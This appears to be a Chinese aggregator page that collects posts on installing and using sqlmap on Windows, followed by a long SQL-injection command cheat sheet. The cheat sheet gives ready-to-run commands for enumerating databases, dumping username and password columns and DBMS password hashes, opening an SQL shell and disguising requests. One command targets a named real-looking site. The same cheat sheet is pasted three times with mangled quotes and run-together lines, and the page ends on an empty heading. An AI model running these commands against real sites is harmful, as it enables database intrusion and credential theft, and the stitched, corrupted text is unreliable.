Windows系统如何使用sqlmap脚本安全

时间:2022-11-28 10:50:42 作者:fannir 综合材料 收藏本文 下载本文

“fannir”通过精心收集,向本站投稿了6篇Windows系统如何使用sqlmap脚本安全,下面是小编为大家整理后的Windows系统如何使用sqlmap脚本安全,如果喜欢可以分享给身边的朋友喔!

篇1:Windows系统如何使用sqlmap脚本安全

使用方法:

需要安装python,不能安装最新版本的python3.2.2只能安装2.6-3.0这些版本,包括2.6,3.0

这里,我提供一个Python的安装包,点击这里下载→ Python2.7

然后下载sqlmap最新版本。点击这里下载→ 官方下载

下载好之后,解压。

在我机子上,我把sqlmap文件夹拷在了E盘

然后打开Python的安装文件

按照以下步骤安装:

好了,完成上面几个步骤,Python的安装就结束了。

下面开始最重要的步骤,一定要仔细看!(下面配图)

右键 我的电脑/计算机 → 属性 → 高级系统设置(XP用户可忽略这一步) → 出现 “系统属性“ , 点击环境变量

→ 出现“环境变量” 在下面的“系统变量”里面找到 Path 变量,编辑它(没有找到的话,就点击新建) → 在变量值那里末尾,填上你的Python安装路径

(比如我的是在 D:Python27 ,那么我就要填 ;D:Python27 记住,一定要填上分号;) → 然后 确定 就OK了,

好了,完成上面一系列的程序,就能运行sqlmap了!

开始 → 运行 → cmd  打开dos窗口

介绍几个dos命令:

想要进入某个磁盘,直接输入 盘符+冒号,例如 E:

cd 代表进入某个文件夹

dir 代表列出当前文件夹里的内容

进入sqlmap的文件夹之后,找到 sqlmap.py

最简单的命令是 sqlmap.py -u XXX.com/php?id=123 回车就可以进行sql扫描了。

篇2:sqlmap 注入命令脚本安全

工具提供sqlmap0.9版本、、

获取数据库名

./sqlmap.py -u “www.xx.php?nid=14550″

–user-agent “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0;

.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR

3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)” –dbs

获取表名

./sqlmap.py -u “www.xxx.php?nid=14550″

–user-agent “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0;

.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR

3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)” -D database

–tables

获取列名

./sqlmap.py -u “www.xxx.php?nid=14550″

–user-agent “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0;

.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR

3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)” -D database -T

cdb_adminactions –columns

获取值

./sqlmap.py -u “www.xxx.php?nid=14550″

–user-agent “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0;

.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR

3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)” -D database -T

cdb_members -C username,password –dump

svn checkout svn.sqlmap.org/sqlmap/trunk/sqlmap

sqlmap-dev

sqlmap.py -u “www.islamichina.com/hotelinchina.asp?cityid=2&m=1″

-v 1 –sql-shell //执行SQL语句

sqlmap.py -u “www.islamichina.com/hotelinchina.asp?cityid=2&m=1″

-v 5 //更详细的信息

load options from a configuration INI file

sqlmap -c

sqlmap.conf

使用POST方法提交

sqlmap.py -u “www.myhack58.com/sqlmap/oracle/post_int.php”

–method POST –data “id=1″

使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/cookie_int.php”

–cookie “id=1″ -v 1

使用referer欺骗

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1″

–referer “www.google.com” -v 3

使用自定义user-agent,或者使用随机使用自带的user-agents.txt

python sqlmap.py -u “www.myhack58.com/sqlmap/oracle/get_int.php?id=1″

–user-agent “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v

3

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1″

-v 1 -a “./txt/user-agents.txt”

使用基本认证

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/basic/get_int.php?id=1″

–auth-type Basic –auth-cred “testuser:testpass” -v 3

使用Digest认证

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/digest/get_int.php?id=1″

–auth-type Digest –auth-cred “testuser:testpass” -v 3

使用代理,配合TOR

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1″

–proxy “192.168.1.47:3128″

python

sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1″

–proxy “192.168.1.47:8118″

使用多线程猜解

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1″

-v 1 –current-user –threads 3

绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1″

-v 1 -p “id

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1&cat=2″

-v 1 -p “cat,id”

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/ua_str.php”

-v 1 -p “user-agent” –user-agent “sqlmap/0.7rc1 (sqlmap.sourceforge.net)”

指定数据库,绕过SQLMAP的自动检测

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1″

-v 2 –dbms “PostgreSQL”

* MySQL

* oracle

* PostgreSQL

*

Microsoft SQL Server

指定操作系统,绕过SQLMAP自动检测

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1″

-v 2 –os “Windows”

* Linux

* Windows

自定义payload

Options:

–prefix and –postfix

In some circumstances the vulnerable parameter is

exploitable only if the user provides a postfix to be appended to the injection

payload. Another scenario where these options come handy presents itself when

the user already knows that query syntax and want to detect and exploit the SQL

injection by directly providing a injection payload prefix and/or

postfix.

Example on a MySQL 5.0.67 target on a page where the SQL query

is: $query = “Select * FROM users Where id=(‘” . $_GET['id'] . “‘) LIMIT 0,

1″;:

$ python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_str_brackets.php?id=1″

-v 3 -p “id” –prefix “‘” –postfix “AND

‘test’='test”

[...]

[hh:mm:16] [INFO] testing sql injection on GET

parameter ‘id’ with 0 parenthesis

[hh:mm:16] [INFO] testing custom injection

on GET parameter ‘id’

[hh:mm:16] [TRAFFIC OUT] HTTP request:

GET

/sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20

%28%27test%27=%27test

HTTP/1.1

Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7

Host:

www.myhack58.com:80

Accept-language: en-us,en;q=0.5

Accept:

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

image/png,*/*;q=0.5

User-agent:

sqlmap/0.7rc1 (sqlmap.sourceforge.net)

Connection:

close

[...]

[hh:mm:17] [INFO] GET parameter ‘id’ is custom

injectable

[...]

As you can see, the injection payload for testing for

custom injection

is:

id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test

which

URL decoded is:

id=1′) AND 7433=7433 AND (‘test’='test

and makes

the query syntatically correct to the page query:

Select * FROM users

Where id=(’1′) AND 7433=7433 AND (‘test’='test’) LIMIT 0, 1

In this

simple example, sqlmap could detect the SQL injection and exploit it without

need to provide a custom injection payload, but sometimes in the real world

application it is necessary to provide it.

页面比较

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int_refresh.php?id=1″

–string “luther” -v 1

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int_refresh.php?id=1″

–regexp “ lu[w][w]er” -v

排除网站的内容

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int_refresh.php?id=1″

–excl-reg “Dynamic content: ([d]+)”

多语句测试,php内嵌函数mysql_query,不支持多语句

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1″

–stacked-test -v 1

union注入测试

python sqlmap.py -u “www.myhack58.com/sqlmap/oracle/get_int.php?id=1″

–union-test -v 1

unionz注入配合orderby

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_str.php?id=1″

–union-test –union-tech orderby -v 1

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/get_int.php?id=1″

-v 1 –union-use –banner

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1″

-v 5 –union-use –current-user

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int_partialunion.php?id=1″

-v 1 –union-use –dbs

fingerprint

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/get_int.php?id=1″

-v 1 -f

python sqlmap.py -u “192.168.123.36/sqlmap/get_str.asp?name=luther”

-v 1 -f -b

判断当前用户是否是dba

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1″

–is-dba -v 1

列举数据库用户

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1″

–users -v 0

列举数据库用户密码

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1″

–passwords -v 0

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/get_int.php?id=1″

–passwords -U sa -v 0

查看用户权限

python sqlmap.py -u “www.myhack58.com/sqlmap/oracle/get_int.php?id=1″

–privileges -v 0

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1″

–privileges -U postgres -v 0

列数据库

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/get_int.php?id=1″

–dbs -v 0

列出指定数据库指定表的列名

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1″

–columns -T users -D test -v 1

列出指定数据库的指定表的指定列的内容

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/get_int.php?id=1″

–dump -T users -D master -C surname -v 0

指定列的范围从2-4

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1″

–dump -T users -D test –start 2 –stop 4 -v 0

导出所有数据库,所有表的内容

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1″

–dump-all -v 0

只列出用户自己新建的数据库和表的内容

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/get_int.php?id=1″

–dump-all –exclude-sysdbs -v 0

sql query

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1″

–sql-query “Select usename FROM pg_user” -v 0

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1″

–sql-query “Select host, password FROM mysql.user LIMIT 1, 3″ -v

1

Select usename, passwd FROM pg_shadow orDER BY usename

保存和恢复会话

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1″

-b -v 1 -s “sqlmap.log”

保存选项到INC配置文件

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1″

-b -v 1 –save

获取数据库名:

./sqlmap.py -u ”www.xx.php?nid=14550“ --user-agent ”Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)“ --dbs

获取表名:

./sqlmap.py -u ”www.xxx.php?nid=14550“ --user-agent ”Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)“ -D database --tables

获取列名

./sqlmap.py -u ”www.xxx.php?nid=14550“ --user-agent ”Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)“ -D database -T cdb_adminactions --columns

获取值

./sqlmap.py -u ”www.xxx.php?nid=14550“ --user-agent ”Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)“ -D database -T cdb_members -C username,password --dump

更新

svn checkout svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

sqlmap.py -u ”www.islamichina.com/hotelinchina.asp?cityid=2&m=1“ -v 1 --sql-shell //执行SQL语句

sqlmap.py -u ”www.islamichina.com/hotelinchina.asp?cityid=2&m=1“ -v 5 //更详细的信息

load options from a configuration INI file

sqlmap -c sqlmap.conf

使用POST方法提交

sqlmap.py -u ”www.myhack58.com/sqlmap/oracle/post_int.php“ --method POST --data ”id=1“

使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies

python sqlmap.py -u ”www.myhack58.com/sqlmap/mssql/cookie_int.php“ --cookie ”id=1“ -v 1

使用referer欺骗

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_int.php?id=1“ --referer ”www.google.com“ -v 3

使用自定义user-agent,或者使用随机使用自带的user-agents.txt

python sqlmap.py -u ”www.myhack58.com/sqlmap/oracle/get_int.php?id=1“ --user-agent ”Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)“ -v 3

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_int.php?id=1“ -v 1 -a ”./txt/user-agents.txt“

使用基本认证

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/basic/get_int.php?id=1“ --auth-type Basic --auth-cred ”testuser:testpass“ -v 3

使用Digest认证

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/digest/get_int.php?id=1“ --auth-type Digest --auth-cred ”testuser:testpass“ -v 3

使用代理,配合TOR

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_int.php?id=1“ --proxy ”192.168.1.47:3128“

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_int.php?id=1“ --proxy ”192.168.1.47:8118“

使用多线程猜解

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_int.php?id=1“ -v 1 --current-user --threads 3

绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_int.php?id=1“ -v 1 -p ”id

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1&cat=2” -v 1 -p “cat,id”

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/ua_str.php” -v 1 -p “user-agent” --user-agent “sqlmap/0.7rc1 (sqlmap.sourceforge.net)”

指定数据库,绕过SQLMAP的自动检测

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1” -v 2 --dbms “PostgreSQL”

* MySQL

* oracle

* PostgreSQL

* Microsoft SQL Server

指定操作系统,绕过SQLMAP自动检测

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1” -v 2 --os “Windows”

* Linux

* Windows

自定义payload

Options: --prefix and --postfix

In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.

Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = “Select * FROM users Where id=('” . $_GET['id'] . “') LIMIT 0, 1”;:

$ python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_str_brackets.php?id=1” -v 3 -p “id” --prefix “'” --postfix “AND 'test'='test”

[...]

[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis

[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'

[hh:mm:16] [TRAFFIC OUT] HTTP request:

GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20

%28%27test%27=%27test HTTP/1.1

Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7

Host: www.myhack58.com:80

Accept-language: en-us,en;q=0.5

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

image/png,*/*;q=0.5

User-agent: sqlmap/0.7rc1 (sqlmap.sourceforge.net)

Connection: close

[...]

[hh:mm:17] [INFO] GET parameter 'id' is custom injectable

[...]

As you can see, the injection payload for testing for custom injection is:

id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test

which URL decoded is:

id=1') AND 7433=7433 AND ('test'='test

and makes the query syntatically correct to the page query:

Select * FROM users Where id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

页面比较

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int_refresh.php?id=1” --string “luther” -v 1

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int_refresh.php?id=1” --regexp “lu[w][w]er” -v

排除网站的内容

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int_refresh.php?id=1” --excl-reg “Dynamic content: ([d]+)”

多语句测试,php内嵌函数mysql_query(),不支持多语句

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1” --stacked-test -v 1

union注入测试

python sqlmap.py -u “www.myhack58.com/sqlmap/oracle/get_int.php?id=1” --union-test -v 1

unionz注入配合orderby

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_str.php?id=1” --union-test --union-tech orderby -v 1

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/get_int.php?id=1” -v 1 --union-use --banner

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1” -v 5 --union-use --current-user

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int_partialunion.php?id=1” -v 1 --union-use --dbs

fingerprint

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/get_int.php?id=1” -v 1 -f

python sqlmap.py -u “192.168.123.36/sqlmap/get_str.asp?name=luther” -v 1 -f -b

判断当前用户是否是dba

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1” --is-dba -v 1

列举数据库用户

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1” --users -v 0

列举数据库用户密码

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1” --passwords -v 0

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/get_int.php?id=1” --passwords -U sa -v 0

查看用户权限

python sqlmap.py -u “www.myhack58.com/sqlmap/oracle/get_int.php?id=1” --privileges -v 0

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1” --privileges -U postgres -v 0

列数据库

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/get_int.php?id=1” --dbs -v 0

列出指定数据库指定表的列名

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1” --columns -T users -D test -v 1

列出指定数据库的指定表的指定列的内容

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/get_int.php?id=1” --dump -T users -D master -C surname -v 0

指定列的范围从2-4

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1” --dump -T users -D test --start 2 --stop 4 -v 0

导出所有数据库,所有表的内容

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1” --dump-all -v 0

只列出用户自己新建的数据库和表的内容

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/get_int.php?id=1” --dump-all --exclude-sysdbs -v 0

sql query

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1” --sql-query “Select usename FROM pg_user” -v 0

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1” --sql-query “Select host, password FROM mysql.user LIMIT 1, 3” -v 1

Select usename, passwd FROM pg_shadow orDER BY usename

保存和恢复会话

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1” -b -v 1 -s “sqlmap.log”

保存选项到INC配置文件

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1” -b -v 1 --save

获取数据库名

./sqlmap.py -u “www.xx.php?nid=14550” --user-agent “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)” --dbs获取表名

./sqlmap.py -u “www.xxx.php?nid=14550” --user-agent “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)” -D database --tables

获取列名

./sqlmap.py -u “www.xxx.php?nid=14550” --user-agent “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)” -D database -T cdb_adminactions --columns

获取值

./sqlmap.py -u “www.xxx.php?nid=14550” --user-agent “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)” -D database -T cdb_members -C username,password --dump

来源:影子

更新

svn checkout svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-devsqlmap.py -u “www.islamichina.com/hotelinchina.asp?cityid=2&m=1” -v 1 --sql-shell //执行SQL语句

sqlmap.py -u “www.islamichina.com/hotelinchina.asp?cityid=2&m=1” -v 5 //更详细的信息

load options from a configuration INI file

sqlmap -c sqlmap.conf使用POST方法提交

sqlmap.py -u “www.myhack58.com/sqlmap/oracle/post_int.php” --method POST --data “id=1”使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies

python sqlmap.py -u “www.myhack58.com/sqlmap/mssql/cookie_int.php” --cookie “id=1” -v 1使用referer欺骗

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1” --referer “www.google.com” -v 3使用自定义user-agent,或者使用随机使用自带的user-agents.txt

python sqlmap.py -u “www.myhack58.com/sqlmap/oracle/get_int.php?id=1” --user-agent “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1” -v 1 -a “./txt/user-agents.txt”

使用基本认证

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/basic/get_int.php?id=1” --auth-type Basic --auth-cred “testuser:testpass” -v 3使用Digest认证

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/digest/get_int.php?id=1” --auth-type Digest --auth-cred “testuser:testpass” -v 3使用代理,配合TOR

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1” --proxy “192.168.1.47:3128”

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1” --proxy “192.168.1.47:8118”使用多线程猜解

python sqlmap.py -u “www.myhack58.com/sqlmap/mysql/get_int.php?id=1” -v 1 --current-user --threads 3绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入

python sqlmap.py -u “www.myhack58.com/sqlmap/pgsql/get_int.php?id=1” -v 1 -p “id

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_int.php?id=1&cat=2“ -v 1 -p ”cat,id“

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/ua_str.php“ -v 1 -p ”user-agent“ --user-agent ”sqlmap/0.7rc1 (sqlmap.sourceforge.net)“指定数据库,绕过SQLMAP的自动检测

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_int.php?id=1“ -v 2 --dbms ”PostgreSQL“* MySQL

* oracle

* PostgreSQL

* Microsoft SQL Server指定操作系统,绕过SQLMAP自动检测

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_int.php?id=1“ -v 2 --os ”Windows“* Linux

* Windows自定义payload

Options: --prefix and --postfixIn some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.

Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = ”Select * FROM users Where id=('“ . $_GET['id'] . ”') LIMIT 0, 1“;:

$ python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_str_brackets.php?id=1“ -v 3 -p ”id“ --prefix ”'“ --postfix ”AND 'test'='test“

[...]

[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis

[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'

[hh:mm:16] [TRAFFIC OUT] HTTP request:

GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20

%28%27test%27=%27test HTTP/1.1

Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7

Host: www.myhack58.com:80

Accept-language: en-us,en;q=0.5

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

image/png,*/*;q=0.5

User-agent: sqlmap/0.7rc1 (sqlmap.sourceforge.net)

Connection: close

[...]

[hh:mm:17] [INFO] GET parameter 'id' is custom injectable

[...]As you can see, the injection payload for testing for custom injection is:

id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test

which URL decoded is:

id=1') AND 7433=7433 AND ('test'='test

and makes the query syntatically correct to the page query:

Select * FROM users Where id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

页面比较

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_int_refresh.php?id=1“ --string ”luther“ -v 1

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_int_refresh.php?id=1“ --regexp ”lu[w][w]er“ -v排除网站的内容

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_int_refresh.php?id=1“ --excl-reg ”Dynamic content: ([d]+)“多语句测试,php内嵌函数mysql_query(),不支持多语句

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_int.php?id=1“ --stacked-test -v 1union注入测试

python sqlmap.py -u ”www.myhack58.com/sqlmap/oracle/get_int.php?id=1“ --union-test -v 1unionz注入配合orderby

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_str.php?id=1“ --union-test --union-tech orderby -v 1python sqlmap.py -u ”www.myhack58.com/sqlmap/mssql/get_int.php?id=1“ -v 1 --union-use --banner

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_int.php?id=1“ -v 5 --union-use --current-user

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_int_partialunion.php?id=1“ -v 1 --union-use --dbsfingerprint

python sqlmap.py -u ”www.myhack58.com/sqlmap/mssql/get_int.php?id=1“ -v 1 -f

python sqlmap.py -u ”192.168.123.36/sqlmap/get_str.asp?name=luther“ -v 1 -f -b判断当前用户是否是dba

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_int.php?id=1“ --is-dba -v 1列举数据库用户

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_int.php?id=1“ --users -v 0

列举数据库用户密码

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_int.php?id=1“ --passwords -v 0

python sqlmap.py -u ”www.myhack58.com/sqlmap/mssql/get_int.php?id=1“ --passwords -U sa -v 0查看用户权限

python sqlmap.py -u ”www.myhack58.com/sqlmap/oracle/get_int.php?id=1“ --privileges -v 0

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_int.php?id=1“ --privileges -U postgres -v 0列数据库

python sqlmap.py -u ”www.myhack58.com/sqlmap/mssql/get_int.php?id=1“ --dbs -v 0列出指定数据库指定表的列名

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_int.php?id=1“ --columns -T users -D test -v 1列出指定数据库的指定表的指定列的内容

python sqlmap.py -u ”www.myhack58.com/sqlmap/mssql/get_int.php?id=1“ --dump -T users -D master -C surname -v 0指定列的范围从2-4

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_int.php?id=1“ --dump -T users -D test --start 2 --stop 4 -v 0导出所有数据库,所有表的内容

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_int.php?id=1“ --dump-all -v 0只列出用户自己新建的数据库和表的内容

python sqlmap.py -u ”www.myhack58.com/sqlmap/mssql/get_int.php?id=1“ --dump-all --exclude-sysdbs -v 0sql query

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_int.php?id=1“ --sql-query ”Select usename FROM pg_user“ -v 0

python sqlmap.py -u ”www.myhack58.com/sqlmap/mysql/get_int.php?id=1“ --sql-query ”Select host, password FROM mysql.user LIMIT 1, 3“ -v 1Select usename, passwd FROM pg_shadow orDER BY usename

保存和恢复会话

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_int.php?id=1“ -b -v 1 -s ”sqlmap.log“保存选项到INC配置文件

python sqlmap.py -u ”www.myhack58.com/sqlmap/pgsql/get_int.php?id=1“ -b -v 1 --save

篇3:一个简单的脚本Windows系统

